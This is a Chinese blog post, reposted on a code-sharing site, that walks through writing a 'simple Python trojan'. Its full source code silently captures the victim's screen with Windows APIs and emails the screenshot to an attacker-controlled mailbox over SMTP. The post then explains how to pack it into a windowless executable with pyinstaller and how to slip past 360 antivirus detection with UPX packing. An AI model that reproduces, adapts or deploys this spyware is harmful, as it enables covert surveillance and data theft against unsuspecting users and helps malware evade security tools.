码迷,mamicode.com
首页 > 编程语言 > 详细

python简易木马编写

时间:2015-02-14 11:07:14      阅读:609      评论:0      收藏:0      [点我收藏+]

标签:python   木马   截图   upx shell   邮件   

功能为对用户机器进行截图,并将截图结果发送至程序指定邮箱。

系统由两个功能组成:获取屏幕截图和发送邮件到邮箱。

源码如下:

# -*- coding: utf-8 -*-  
import win32gui
import win32ui
import win32con
import win32api
import os,os.path
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib


def sendFile(FilePos):
    msg = MIMEMultipart()
    To = 'XXXXX'(接受邮箱的地址,如XXXXXXXXX@qq.com)
    From = 'XXXXX'(发送邮箱的地址,如XXXXXXXXX@qq.com)
    FromPWD = 'XXXXX'(发送邮箱的密码)
    SmtpSrv = 'XXXXXX'(邮箱服务器,如stmp.qq.com)

    att = MIMEText(open(FilePos, 'rb').read(), 'base64', 'gb2312')
    att["Content-Type"] = 'application/octet-stream'
    att["Content-Disposition"] = 'attachment; filename='+FilePos
    msg.attach(att)

    msg['to'] = To
    msg['from'] = From
    msg['subject'] = 'test'
    try:
        print 'try to send'
        server = smtplib.SMTP()
        server.connect(SmtpSrv)
        server.login(From,FromPWD)
        server.sendmail(msg['from'], msg['to'],msg.as_string())
        server.quit()
        print 'send success'
    except Exception, e:  
        print str(e)

# 获取桌面
hdesktop = win32gui.GetDesktopWindow()
 
# 分辨率适应
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
 
# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
 
# 创建一个内存设备描述表
mem_dc = img_dc.CreateCompatibleDC()
 
# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
 
# 截图至内存设备描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
 
# 将截图保存到文件中
screenshot.SaveBitmapFile(mem_dc, 'screenshot.bmp')
 
# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

sendFile('screenshot.bmp')

收发邮箱的地址可均填为自己的QQ邮件,密码为QQ邮箱密码。服务器为qq的stmp服务器


其中sendFile函数功能为向用户指定的邮箱发送有附件的邮件,其中附件为输入参数FilePos所在的位置。本系统中FilePos为screenshot.bmp,即发送邮件中的附件为当前目录下的screenshot.bmp。

从代码中可看出系统首先通过windows提供的API获取截图,并将截图保存至当前目录,命名为screenshot.bmp,之后通过sendFile函数将其发送出去。


代码写完以后通过pyinstaller将py文件打包为.exe文件。具体使用方法见:

http://outofmemory.cn/code-snippet/2041/usage-pyinstaller-dabao-python-exe-file

参数选择建议为:

python pyinstaller.py -F -w PythonFileName.py

其中PythonFileName.py为编写的python文件。

 

此外,执行exe文件时会被360检测到程序有发送邮件的动作,可通过加壳避免。

加壳软件推荐使用UPX Shell:
技术分享

这样360就不会检测到了。

 

 

参考链接:

http://drops.wooyun.org/papers/4751

http://www.cnblogs.com/xiaowuyi/archive/2012/03/17/2404015.html

http://outofmemory.cn/code-snippet/2041/usage-pyinstaller-dabao-python-exe-file

python简易木马编写

标签:python   木马   截图   upx shell   邮件   

原文地址:http://blog.csdn.net/miaoyunzexiaobao/article/details/43815899

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!